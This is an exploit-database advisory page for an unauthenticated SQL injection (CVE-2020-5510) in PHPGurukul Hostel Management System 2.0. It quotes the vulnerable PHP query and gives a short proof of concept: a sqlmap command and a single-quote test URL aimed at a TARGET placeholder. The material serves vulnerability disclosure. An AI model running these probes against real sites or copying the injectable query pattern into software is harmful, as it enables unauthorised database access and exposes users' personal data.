Lucene search
+L

PHPGurukul Hostel Management System 2.0 - 'id' Unauthenticated SQL Injection (SQLi)

🗓️ 04 Jun 2020 00:00:00Reported by EnesdexType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 221 Views

Hostel Management System 2.0 SQL Injection Unauthenticate

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
PHPGurukul Hostel Management System SQL Injection Vulnerability
17 Feb 202000:00
–cnvd
cve
CVE
CVE-2020-5510
8 Jan 202017:32
–cve
cvelist
Cvelist
CVE-2020-5510
8 Jan 202017:32
–cvelist
exploitdb
Exploit DB
PHPGurukul Hostel Management System 2.0 - 'id' SQL Injection (SQLi)
6 Jan 202000:00
–exploitdb
euvd
EUVD
EUVD-2020-26673
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2020-5510
8 Jan 202018:15
–nvd
osv_cve
osv_cve
CVE-2020-5510
8 Jan 202018:15
–osv_cve
prion
Prion
Sql injection
8 Jan 202018:15
–prion
ptsecurity
Positive Technologies
PT-2020-18487
8 Jan 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-5510: Improper Neutralization of Special Elements used in an SQL Command
8 Jan 202000:00
–rapid7
# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated)
# Date: 2020-06-02
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://phpgurukul.com/hostel-management-system/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7210
# Version: 2.0
# Tested on: Windows 10 - Wamp Server

--Vulnerable file /full-profile.php

--Vulnerable code;
    $ret= mysqli_query($con,"SELECT * FROM registration where emailid = '".$_GET['id']."'");

    Id parameter's value is going into sql query directly!

--Proof Of Concept

   sqlmap -u "http://TARGET/hostel/full-profile.php?id=6"
   OR
   http://TARGET/hostel/full-profile.php?id=6' Single Quote will cause SQL error

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.8
CVSS 210
EPSS0.0344
221